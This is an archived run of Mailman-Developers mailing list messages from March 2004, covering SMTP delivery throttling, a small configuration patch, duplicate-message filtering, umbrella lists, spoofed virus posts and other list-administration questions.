Message-ID: <20040329163953.GA663@rezo.net>
OK, I've located the SMTP thing in SMTPDirect.py, lines
while chunks:
chunk = chunks.pop()
msgdata['recips'] = chunk
try:
deliveryfunc(mlist, msg, msgdata, envsender, refused, conn)
I'd really love to add somme sleep() function just after the deliveryfunc()
call, something that would set Mailman to sleep about 1/10th of a second per
recipient. I don't know any python, but I guess it would be something like
while chunks:
chunk = chunks.pop()
msgdata['recips'] = chunk
try:
deliveryfunc(mlist, msg, msgdata, envsender, refused, conn)
sleep(sizeof(chunk)/10)
Can someone help with the code? I'll test the concept :)
-- Fil
From brad.knowles at skynet.be Mon Mar 29 12:15:12 2004
From: brad.knowles at skynet.be (Brad Knowles)
Date: Mon Mar 29 12:16:32 2004
Subject: [Mailman-Developers] ouch !
In-Reply-To: <20040329155347.GC31920@rezo.net>
References: <20040329155347.GC31920@rezo.net>
Message-ID:
At 5:53 PM +0200 2004/03/29, Fil wrote:
> Mar 29 17:43:45 2004 (13635)
><20040329152545.892E536822C@alan.rezo.net> smtp for 150082 recips,
>completed in 570.064 seconds
>
> The strange thing is that my settings should not allow 150 0882 recips
> (which is the total number of subscribers), as I have set
> SMTP_MAX_RCPTS = 900
Setting SMTP_MAX_RCPTS just controls the maximum total number of
recipients that Mailman will try to use *per copy* of the message.
So, divide 150,082 recipients by 900 per message, and you get 166.76
messages. The time you see logged is how long it took Mailman to
chew through all those recipients for 167 messages (the last one
being less than 900 recipients).
--
Brad Knowles,
"They that can give up essential liberty to obtain a little temporary
safety deserve neither liberty nor safety."
-Benjamin Franklin, Historical Review of Pennsylvania.
GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+
!w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++)
tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++)
From mailman-users at xonx.de Tue Mar 30 07:28:28 2004
From: mailman-users at xonx.de (Steffen Mueller)
Date: Tue Mar 30 07:25:58 2004
Subject: [Mailman-Developers] respond_to_post_requests is not configurable
but should be
Message-ID: <406967EC.3050400@xonx.de>
Hi.
According to the comments in mailman/Mailman/MailList.py,
respond_to_post_requests should be configurable, but it isn't.
288 # This stuff is configurable
289 self.respond_to_post_requests = 1
See attached patches to fix this.
Should I fill a bugreport or can anyone add this to CVS?
I'm using Mailman version 2.1.4 from Debian Backport 2.1.4-0.backports.org.1
But this appears in the latest 2.x CVS-tree, too.
Thank you all for mailman development.
--
cheers,
Steffen Mueller
-------------- next part --------------
diff -urN mailman/Mailman/MailList.py mailman/Mailman/MailList_patched.py
--- MailList.py 2004-03-30 02:34:40.000000000 +0200
+++ MailList_patched.py 2004-03-30 02:35:56.000000000 +0200
@@ -286,7 +286,7 @@
self.new_member_options = mm_cfg.DEFAULT_NEW_MEMBER_OPTIONS
# This stuff is configurable
- self.respond_to_post_requests = 1
+ self.respond_to_post_requests = mm_cfg.DEFAULT_RESPOND_TO_POST_REQUESTS
self.advertised = mm_cfg.DEFAULT_LIST_ADVERTISED
self.max_num_recipients = mm_cfg.DEFAULT_MAX_NUM_RECIPIENTS
self.max_message_size = mm_cfg.DEFAULT_MAX_MESSAGE_SIZE
diff -urN mailman/Mailman/Defaults.py.in mailman/Mailman/Defaults_patched.py
--- Defaults.py.in 2004-03-30 02:38:55.000000000 +0200
+++ Defaults_patched.py 2004-03-30 02:41:39.000000000 +0200
@@ -805,6 +805,9 @@
# Is the list owner notified of subscribes/unsubscribes?
DEFAULT_ADMIN_NOTIFY_MCHANGES = No
+# Send mail to poster when their posting is held for approval?
+DEFAULT_RESPOND_TO_POST_REQUESTS = Yes
+
# Should list members, by default, have their posts be moderated?
DEFAULT_DEFAULT_MEMBER_MODERATION = No
From fil at rezo.net Tue Mar 30 07:36:53 2004
From: fil at rezo.net (Fil)
Date: Tue Mar 30 07:36:09 2004
Subject: [Mailman-Developers] sleep() after sending a chunk?
In-Reply-To: <20040329163953.GA663@rezo.net>
References: <20040329163953.GA663@rezo.net>
Message-ID: <20040330123653.GB23891@rezo.net>
> I'd really love to add somme sleep() function just after the deliveryfunc()
> call, something that would set Mailman to sleep about 1/10th of a second per
> recipient. I don't know any python, but I guess it would be something like
>
> while chunks:
> chunk = chunks.pop()
> msgdata['recips'] = chunk
> try:
> deliveryfunc(mlist, msg, msgdata, envsender, refused, conn)
> sleep(sizeof(chunk)/10)
>
> Can someone help with the code? I'll test the concept :)
I did add
+ sleep(len(chunk)/10)
and it seems to work. I'll test it big time tonight when I send a new batch
of 150 K emails, and keep you posted. But I'm not happy with the present
algorithm, because I'd like other lists not to be hampered by the big list,
so I'd rather have all lists send a chunk and go back to sleep, letting a
chacne to any other list to send one of its chunks. I don't think it'll be
too much of a rewrite to change that. Any ideas welcome.
-- Fil
From Nigel.Metheringham at dev.InTechnology.co.uk Tue Mar 30 07:56:11 2004
From: Nigel.Metheringham at dev.InTechnology.co.uk (Nigel Metheringham)
Date: Tue Mar 30 07:56:47 2004
Subject: [Mailman-Developers] sleep() after sending a chunk?
In-Reply-To: <20040329163953.GA663@rezo.net>
References: <20040329163953.GA663@rezo.net>
Message-ID: <1080651371.4261.191.camel@angua.localnet>
On Mon, 2004-03-29 at 17:39, Fil wrote:
> I'd really love to add somme sleep() function just after the deliveryfunc()
> call, something that would set Mailman to sleep about 1/10th of a second per
> recipient.
I just don't see the point of this. You may have stopped a large list
inject being so aggressive on CPU usage, but you have increased the
lifetime of processes by a factor of 30 or so (on your figures), and so
increased the memory pressure and likelihood of swapping etc due to
processes being just as fat but lasting longer.
Your users may notice the big lists getting much slower - and having
deliveries smeared over a much longer period.
You may find you have made things less efficient by having 2 deliveries
to a single list slowed down so that different messages to the same
recipient can no longer be put in the same SMTP session (if your MTA
does that). For that matter can multiple deliveries be made against the
same list at the same time?
Why not just run the cron jobs under nice instead?
Nigel.
--
[ Nigel Metheringham Nigel.Metheringham@InTechnology.co.uk ]
[ - Comments in this message are my own and not ITO opinion/policy - ]
From Nigel.Metheringham at dev.InTechnology.co.uk Tue Mar 30 07:56:12 2004
From: Nigel.Metheringham at dev.InTechnology.co.uk (Nigel Metheringham)
Date: Tue Mar 30 07:56:54 2004
Subject: [Mailman-Developers] sleep() after sending a chunk?
In-Reply-To: <20040329163953.GA663@rezo.net>
References: <20040329163953.GA663@rezo.net>
Message-ID: <1080651371.4261.192.camel@angua.localnet>
On Mon, 2004-03-29 at 17:39, Fil wrote:
> I'd really love to add somme sleep() function just after the deliveryfunc()
> call, something that would set Mailman to sleep about 1/10th of a second per
> recipient.
I just don't see the point of this. You may have stopped a large list
inject being so aggressive on CPU usage, but you have increased the
lifetime of processes by a factor of 30 or so (on your figures), and so
increased the memory pressure and likelihood of swapping etc due to
processes being just as fat but lasting longer.
Your users may notice the big lists getting much slower - and having
deliveries smeared over a much longer period.
You may find you have made things less efficient by having 2 deliveries
to a single list slowed down so that different messages to the same
recipient can no longer be put in the same SMTP session (if your MTA
does that). For that matter can multiple deliveries be made against the
same list at the same time?
Why not just run the cron jobs under nice instead?
Nigel.
--
[ Nigel Metheringham Nigel.Metheringham@InTechnology.co.uk ]
[ - Comments in this message are my own and not ITO opinion/policy - ]
From Nigel.Metheringham at dev.InTechnology.co.uk Tue Mar 30 08:13:16 2004
From: Nigel.Metheringham at dev.InTechnology.co.uk (Nigel Metheringham)
Date: Tue Mar 30 08:13:50 2004
Subject: [Mailman-Developers] Dealing with idiots using CRAP
Message-ID: <1080652396.4261.210.camel@angua.localnet>
Barry,
This guy (see forwarded message) is using a Challenge Response
Authentication Program (CRAP - appropriate acronym) on stuff he is
receiving using a mailing list. Unfortunately its broken enough that
the replies are going back to the original poster. Can you terminate
him (or just remove his list membership).
If possible I'd mod Mailman to make it extremely unfriendly to such
programs, unfortunately this one is so completely broken that just
kicking the idiot off the list is the only appropriate response.
[BTW I haven't replied with the magic token since there is nothing civil
I could say to him - shame the system won't automatically block any mail
he tries to send me]
Nigel.
-----Forwarded Message-----
> From: CARTER Anthony
> To: Nigel.Metheringham@dev.InTechnology.co.uk
> Subject: Re: Re: [Mailman-Developers] sleep() after sending a chunk? (Spam Ender: BLOCKED 1R92-SE45602-Nigel.Metheringham@dev.InTechnology.co.uk)
> Date: Tue, 30 Mar 2004 14:58:20 +0200
>
> In an effort to eliminate unsolicited e-mail, I have installed SpamEnder.
> Please REPLY to this e-mail, without modifying the subject line, so that I
> can receive your original message. Upon my approval, future e-mails you send
> to me will be released automatically. If you do not REPLY to this e-mail,
> SpamEnder will block all future e-mails from this address and will not give
> you another opportunity to reply.
>
> Sorry for any inconvenience.
> Anthony Carter
>
> ----------------------------------------------------------
> Excerpt from original message:
> On Mon, 2004-03-29 at 17:39, Fil wrote:
> > I'd really love to add somme sleep() function just after the
> deliveryfunc()
> > call, something that would set Mailman to sleep about 1/10th of a second
> per
> > recipient.
>
> I just don't see the point of this. You may have stopped a large list
> inject being so aggressive on CPU usage, but you have increased the
> lifetime of processes by a factor of 30 or so (on your figures), and so
> increased the memory pressure and likelihood of swapping etc due to
> processes being just as fat but lasting longer.
>
> Your users may notice the big lists getting much slower - and having
> deliveries smeared over a much longer period.
>
> You may find you have made things less efficient by having 2 deliveries
> to a single list slowed down so that different messages to the same
> recipient can no longer be put in the same SMTP session (if your MTA
> does that). For that matter can multiple deliveries be made against the
> same list at the same time?
>
> Why not just run the cron jobs under nice instead?
>
> Nigel.
--
[ Nigel Metheringham Nigel.Metheringham@InTechnology.co.uk ]
[ - Comments in this message are my own and not ITO opinion/policy - ]
From fil at rezo.net Tue Mar 30 08:15:50 2004
From: fil at rezo.net (Fil)
Date: Tue Mar 30 08:15:24 2004
Subject: [Mailman-Developers] sleep() after sending a chunk?
In-Reply-To: <1080651371.4261.191.camel@angua.localnet>
References: <20040329163953.GA663@rezo.net>
<1080651371.4261.191.camel@angua.localnet>
Message-ID: <20040330131549.GF23891@rezo.net>
> > I'd really love to add somme sleep() function just after the
> > deliveryfunc() call, something that would set Mailman to sleep about
> > 1/10th of a second per recipient.
>
> I just don't see the point of this. You may have stopped a large list
> inject being so aggressive on CPU usage, but you have increased the
> lifetime of processes by a factor of 30 or so (on your figures), and so
> increased the memory pressure and likelihood of swapping etc due to
> processes being just as fat but lasting longer.
The process we're talking about is OutgoingRunner, which is always in
memory. I don't mind keeping the whole list in RAM -- I have 3 Gb, and the
list (and chunks) probably eat up something like twice the size of the
config.pck file, so about 44Mb. The only problem I see is if the list were
locked during all that time, but I don't think (from what I understand from
the code) that it is.
> Your users may notice the big lists getting much slower - and having
> deliveries smeared over a much longer period.
Well that's already the case as postfix (my MTA) has 150 K messages to
deliver, isn't it? But right now Mailman injects everything into postfix w/o
considering that it might explode the load and system hit. It's brutal, with
the load going to 25, and CPU to 70% (and I have a very nice machine, a
brand new quadri-processor thing :-] ).
> You may find you have made things less efficient by having 2 deliveries
> to a single list slowed down so that different messages to the same
> recipient can no longer be put in the same SMTP session (if your MTA
> does that).
I'm not sure postfix does that, no. And it's not really relevant in this
case, as I really only have ONE big list with ONE message to send (and alot
of small lists and normal emails to try to sneak through if possible).
> For that matter can multiple deliveries be made against the
> same list at the same time?
>
> Why not just run the cron jobs under nice instead?
What cron jobs? Sure I can renice the OutgoingRunner, but it won't change
much (except that it will get swapped first if something needs to get
swapped).
-- Fil
From brad.knowles at skynet.be Tue Mar 30 10:34:48 2004
From: brad.knowles at skynet.be (Brad Knowles)
Date: Tue Mar 30 11:04:36 2004
Subject: [Mailman-Developers] sleep() after sending a chunk?
In-Reply-To: <20040330131549.GF23891@rezo.net>
References: <20040329163953.GA663@rezo.net>
<1080651371.4261.191.camel@angua.localnet>
<20040330131549.GF23891@rezo.net>
Message-ID:
At 3:15 PM +0200 2004/03/30, Fil wrote:
>> I just don't see the point of this. You may have stopped a large list
>> inject being so aggressive on CPU usage, but you have increased the
>> lifetime of processes by a factor of 30 or so (on your figures), and so
>> increased the memory pressure and likelihood of swapping etc due to
>> processes being just as fat but lasting longer.
>
> The process we're talking about is OutgoingRunner, which is always in
> memory. I don't mind keeping the whole list in RAM -- I have 3 Gb, and the
> list (and chunks) probably eat up something like twice the size of the
> config.pck file, so about 44Mb. The only problem I see is if the list were
> locked during all that time, but I don't think (from what I understand from
> the code) that it is.
Nigel isn't talking about the Mailman processes. He's talking
about the MTA processes. 44MB of memory is nothing on a large list,
and since you have 3GB, that should not even be noticeable to you.
But the MTA processes sticking around much longer and not being
able to work as efficiently, that is something that will hurt you
far, far more.
> Well that's already the case as postfix (my MTA) has 150 K messages to
> deliver, isn't it? But right now Mailman injects everything into postfix w/o
> considering that it might explode the load and system hit. It's brutal, with
> the load going to 25, and CPU to 70% (and I have a very nice machine, a
> brand new quadri-processor thing :-] ).
If it's 150,000 recipients, with SMTP_MAX_RCPTS = 900, then
that's really just 167 messages, each addressed to multiple
recipients (up to 900). Postfix is really good at handling things
like this in parallel, so that quick sites get more mail dumped on
them faster, and slower sites get mail delivered to them at a speed
they are more comfortable with.
You really need to properly understand just what it is that
you're mucking about with, before you start making random changes.
>> You may find you have made things less efficient by having 2 deliveries
>> to a single list slowed down so that different messages to the same
>> recipient can no longer be put in the same SMTP session (if your MTA
>> does that).
>
> I'm not sure postfix does that, no. And it's not really relevant in this
> case, as I really only have ONE big list with ONE message to send (and alot
> of small lists and normal emails to try to sneak through if possible).
Yes, postfix will coalesce messages together, if it finds
multiple messages in the queue that are addressed to the same
recipients. This is an old time/performance trick that even ancient
versions of sendmail employed, and all modern MTAs likewise make use
of.
And no, you really *DON'T* have just ONE message going out to ONE
big list. When a message comes in for that list, it gets broken up
into chunks (controlled by SMTP_MAX_RCPTS), and each chunk is then
handed off to the MTA as a separate instance. This happens in pretty
much the same way for all lists, regardless of how many recipients
may be on a particular list, or how many messages may be coming in or
going out for any given list.
>> Why not just run the cron jobs under nice instead?
>
> What cron jobs? Sure I can renice the OutgoingRunner, but it won't change
> much (except that it will get swapped first if something needs to get
> swapped).
I think Nigel was misunderstanding your description of the problem.
--
Brad Knowles,
"They that can give up essential liberty to obtain a little temporary
safety deserve neither liberty nor safety."
-Benjamin Franklin, Historical Review of Pennsylvania.
GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+
!w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++)
tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++)
From tem at andrew.cmu.edu Tue Mar 30 14:14:00 2004
From: tem at andrew.cmu.edu (eizan miyamoto)
Date: Tue Mar 30 14:13:12 2004
Subject: [Mailman-Developers] umbrella list model too restrictive?
Message-ID: <66675A55-827E-11D8-83A1-0030656A0F2C@andrew.cmu.edu>
All,
At the institution where I work, we are in the process of deploying
mailman as a replacement to our old mailing list system based on mmdf.
However, one very valuable asset to using mmdf was that we could embed
both other mailing lists as well as individual users in any given
mailing list.
This feature seems to be excluded and replaced in mailman 2.1.2 with
a-- imho-- less functional "umbrella list" setting that is defined on a
per-list basis, and if I understand correctly, this means that it is
difficult to embed both:
joe.user@server.org
and
marys-list@server.org
into a mailman mailing list.
I am wondering what the timeframe might be as far as being able to
define types (e.g. user vs list) for a subscriber on an individual
member basis.
If I am incorrect in assuming that this feature does not exist, I would
be more than happy to accept illumination. Furthermore, if there is a
legitimate reason why the developers have opted for the umbrella list
setting as compared to a less restrictive model, I would be highly
appreciative to have this explained.
Thank you very much,
Eizan Miyamoto
From fil at rezo.net Tue Mar 30 16:16:46 2004
From: fil at rezo.net (Fil)
Date: Tue Mar 30 16:16:00 2004
Subject: [Mailman-Developers] sleep() after sending a chunk?
In-Reply-To:
References: <20040329163953.GA663@rezo.net>
<1080651371.4261.191.camel@angua.localnet>
<20040330131549.GF23891@rezo.net>
Message-ID: <20040330211646.GA13114@rezo.net>
> If it's 150,000 recipients, with SMTP_MAX_RCPTS = 900, then
> that's really just 167 messages, each addressed to multiple
> recipients (up to 900).
For the record, I must admit it was a huge mistake, because the SMTP
connexion is reset after 15 minutes. So Mailman backs off, and waits, and
almost nothing comes out. After 5 hours, I had to stop the whole thing, and
kill the mail. Now I'm cleaning :(
-- Fil
From jamie at silverdream.org Tue Mar 30 16:53:07 2004
From: jamie at silverdream.org (Jamie L. Penman-Smithson)
Date: Tue Mar 30 16:53:11 2004
Subject: [Mailman-Developers] umbrella list model too restrictive?
In-Reply-To: <66675A55-827E-11D8-83A1-0030656A0F2C@andrew.cmu.edu>
References: <66675A55-827E-11D8-83A1-0030656A0F2C@andrew.cmu.edu>
Message-ID: <1080683586.2633.35.camel@oasis.silverdream.hq>
On Tue, 2004-03-30 at 20:14, eizan miyamoto wrote:
> I am wondering what the timeframe might be as far as being able to
> define types (e.g. user vs list) for a subscriber on an individual
> member basis.
Try expressing your opinions about the current model on the MM3-dev
list, there have been a couple of relevant threads on improving the
umbrella list model in MM3, one being:
http://article.gmane.org/gmane.mail.mailman.mm3.devel/15
HTH
--
-jamie | spamtrap: spam@silverdream.org
w: http://www.silverdream.org | p: sms@silverdream.org
pgp key @ http://silverdream.org/~jps/pub.key
22:30:01 up 3 days, 36 min, 3 users, load average: 0.34, 0.43, 0.49
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: This is a digitally signed message part
Url : http://mail.python.org/pipermail/mailman-developers/attachments/20040330/edb6ae2d/attachment.bin
From rousse at ccr.jussieu.fr Wed Mar 31 17:51:13 2004
From: rousse at ccr.jussieu.fr (Guillaume Rousse)
Date: Wed Mar 31 17:51:19 2004
Subject: [Mailman-Developers] Problem with log files perms.
Message-ID: <406B4B61.5050708@ccr.jussieu.fr>
I'm the maintainer of mandrake mailman package. I have a bug report
about wrong perms for logs files, see:
http://qa.mandrakesoft.com/show_bug.cgi?id=9319
Even if I changed layout drastically to achieve FHS compliance, this
kind of problem is quite curious. Those files are created at run-time,
and I guess the various scripts take care of ensuring correct perms,
whereas group ownership is ensured by the setgid bit for the log
directory. For instance, smtp and qrunner log files are OK. So, what
could have get wrong here ?
--
That's not a "bug", thats a feature !
-- Thoreau's Theories of Adaption n?4
From andyk at spunge.org Sun Mar 21 19:31:36 2004
From: andyk at spunge.org (Andrzej Kasperowicz)
Date: Fri Apr 2 14:43:24 2004
Subject: [Mailman-Developers] How could be forwarded moderated post with
moderator's comments?
Message-ID:
Is that possible to forward moderated post along with moderator's comments to
another address (at the moment posts are forwarded without those comments -
posts with moderator's comments go only to authors of moderated posts, and
cannot be forwarded anywhere else with those comments).
ak
From andyk at spunge.org Sun Mar 21 19:53:44 2004
From: andyk at spunge.org (Andrzej Kasperowicz)
Date: Fri Apr 2 14:43:27 2004
Subject: [Mailman-Developers] How to remove X-Confirm-Reading requests from
mail headers distributed by Mailman?
Message-ID:
Hi!
Is there any way to setup mailman to stop distributing X-Confirm-Reading-
To requests sent by some list users?
One user has unsubscribed from my list just because it was distributed
over the list.
Regards
ak
From andyk at spunge.org Sun Mar 21 19:55:57 2004
From: andyk at spunge.org (Andrzej Kasperowicz)
Date: Fri Apr 2 14:43:30 2004
Subject: [Mailman-Developers] Can moderators have access to Membership
management options?
Message-ID:
I wish that moderators have access to Membership management options, but
not to all other options available to list-owner.
Is that possible?
If not could it be included in the next Mailman edition?
Would be also good if they could edit posts before approving, and not only
reject or discard them.
ak
From andyk at spunge.org Wed Mar 24 09:34:06 2004
From: andyk at spunge.org (Andrzej Kasperowicz)
Date: Fri Apr 2 14:43:33 2004
Subject: [Mailman-Developers] Copy some of the features from Freelists
(ecartis) to the Mailman.
Message-ID:
Recently, I've looked at the freelists.org running on ecartis:
http://www.ecartis.org/
It seems that the lists on freelists have some interesting options, which
Mailman haven't got, so maybe you could introduce some of them into Mailman.
I put some screenshots over there:
http://znik.wbc.lublin.pl/~ak/rozne/ecartis/
Description of the options:
http://www.freelists.org/help/
I like that it has statistics, quoting limits and strip-headers (a colon
seperated list of headers to remove from outgoing messages). One of my
subscribers unsubscribed from my list just because X-confirm-reading was
distributed over it. Bad quoting is also often a problem, so it would be good
if Mailman could have similar solution to that used in freelists.
Statistics is also very nice feature.
ak
From andyk at spunge.org Fri Mar 26 07:42:32 2004
From: andyk at spunge.org (Andrzej Kasperowicz)
Date: Fri Apr 2 14:43:35 2004
Subject: [Mailman-Developers] Blocking messages with the same message-id.
Message-ID:
Is there any setting in Mailman to block sending of a post with the same
message-ID for the second time?
ak
From andyk at spunge.org Tue Mar 30 06:56:58 2004
From: andyk at spunge.org (Andrzej Kasperowicz)
Date: Fri Apr 2 14:43:37 2004
Subject: [Mailman-Developers] Re: [Mailman-Users] Blocking messages with the
same message-id.
In-Reply-To: <4068CA7A.6541.2C3F9E6@localhost>
References:
Message-ID: <40697CAA.31330.24CB7B@localhost>
> Did not see this answered yet, so: Yes. General Options, Default
> options for new members joining this list
>
>
> Filter out duplicate messages to list members (if possible)
>
> Check that. You may have to remove all and add all back in,
> however, after checking that. Do not think there is a way to change
> after the fact.
It is checked, and I see duplicates on my lists, hence my question... It
doesn't seem to work...
ak
From aaron.schaap at elevatorup.com Sun Mar 21 23:10:28 2004
From: aaron.schaap at elevatorup.com (Aaron Schaap)
Date: Fri Apr 2 14:43:43 2004
Subject: [Mailman-Developers] New Template Designs
Message-ID:
I'd like to help out with the design of Mailman and want to know the step's
in which I should do this. Should I just design something and then present
it or is there a group that is currently working on the look and feel of
Mailman?
My Reasoning - I'd like to:
- improve usability
- make templates compliant with XHTML 1.0 and CSS
- bring a fresh look to mailman.
I'd love to work with anyone else that's interested in this or if need be -
I can start up a group.
-------------------------
Aaron Schaap
Elevator Up - Internet Consulting & Development
Phone: 616-566-1423
Web: www.elevatorup.com
Email: aaron.schaap@elevatorup.com
From arne at rfc2549.org Wed Mar 10 21:05:48 2004
From: arne at rfc2549.org (Arne Schwabe)
Date: Fri Apr 2 14:43:57 2004
Subject: [Mailman-Developers] Cloning lists
In-Reply-To: <98771DD908470C49AF3B579BEEF1C199F780FF@njexchange.imany.com>
(Scott Hardy's message of "Thu, 4 Mar 2004 08:39:04 -0500")
References: <98771DD908470C49AF3B579BEEF1C199F780FF@njexchange.imany.com>
Message-ID: <86r7w0fb16.fsf@kamino.rfc1149.org>
Scott Hardy writes:
> Does anyone know if it is possible to clone a list instead of manually
> creating each one from scratch?
I think I will write a little python skript to achieve soon if there
is nothing like that. (where soon means < 1 month)
Arne
From arthur at abible.com Mon Mar 15 13:49:03 2004
From: arthur at abible.com (Arthur Gibbs)
Date: Fri Apr 2 14:44:11 2004
Subject: [Mailman-Developers] Virus sent to lists "from" my domain - add
password for mods
Message-ID: <00a901c40abe$2e47add0$6401a8c0@desktop>
Using Mailman 2.1.3, we have had problems with virus-generated messages with
spoofed senders getting through to a one-way list.
The only 'solution' I have found is to to disallow any non-moderated users
or administrators. This forces all messages, even from list admins, to be
moderated.
Under Privacy options: [Recipient filters], we set "Ceiling on acceptable
number of recipients for a posting" to 1.
And also turned on 'Emergency moderation of all list traffic is enabled' in
General Options.
However this is not ideal. Back in the dark ages I used Majodomo. As
primtive as that program was, these virus messages would not be getting
through. Reason? The moderated users had to include a password with each
post. Could that password type feature be added?
A virus might forge the 'form' and the envelope. But it is aweful hard to
forge a good password that also matches that from.
Any thoughts?
From justinb at issecurity.co.za Tue Mar 16 12:41:04 2004
From: justinb at issecurity.co.za (Justin Berman)
Date: Fri Apr 2 14:45:51 2004
Subject: [Mailman-Developers] List backup
Message-ID:
Hi,
I don?t know if I am being stupid or not, but is there a way to backup my
mailing list?
I am currently running Mailman 2.0.11
Thanks
Justin Berman
Security Engineer
tel: +27 11 0860 221 221
fax: +27 11 576 2118
===========================================
Find a job you love, & you will never work a day in your life
From lloyd_tennison at whoever.com Tue Mar 30 04:16:42 2004
From: lloyd_tennison at whoever.com (Lloyd F. Tennison)
Date: Fri Apr 2 14:46:30 2004
Subject: [Mailman-Developers] Re: [Mailman-Users] Blocking messages with the
same message-id.
In-Reply-To:
Message-ID: <4068CA7A.6541.2C3F9E6@localhost>
Did not see this answered yet, so: Yes. General Options, Default
options for new members joining this list
Filter out duplicate messages to list members (if possible)
Check that. You may have to remove all and add all back in,
however, after checking that. Do not think there is a way to change
after the fact.
Date sent: Fri, 26 Mar 2004 06:42:32 -0600 (EST)
From: Andrzej Kasperowicz
To: mailman-developers@python.org, mailman-users@python.org
Copies to: Subject: [Mailman-Users] Blocking messages with the same message-id.
> Is there any setting in Mailman to block sending of a post with the same
> message-ID for the second time?
>
> ak
>
>
> ------------------------------------------------------
> Mailman-Users mailing list
> Mailman-Users@python.org
> http://mail.python.org/mailman/listinfo/mailman-users
> Mailman FAQ: http://www.python.org/cgi-bin/faqw-mm.py
> Searchable Archives: http://www.mail-archive.com/mailman-users%40python.org/
Thanks.
Lloyd F. Tennison
lloyd_tennison@whoever.com
No trees were harmed in the transmission of this message.
However, a rather large number of electrons were temporarily
inconvenienced.
From pralina at itt.nu Tue Mar 30 11:01:56 2004
From: pralina at itt.nu (lp)
Date: Fri Apr 2 14:47:03 2004
Subject: [Mailman-Developers] message filters - how to define regex string
which allowes any mail address
Message-ID: <406999F4.7020901@itt.nu>
Hello,
If anyone knows the regex string that defines "any" mail address
reagrdless of what stands before and after "@", please give me an exact
example of the string.
thanx,
Luka
| |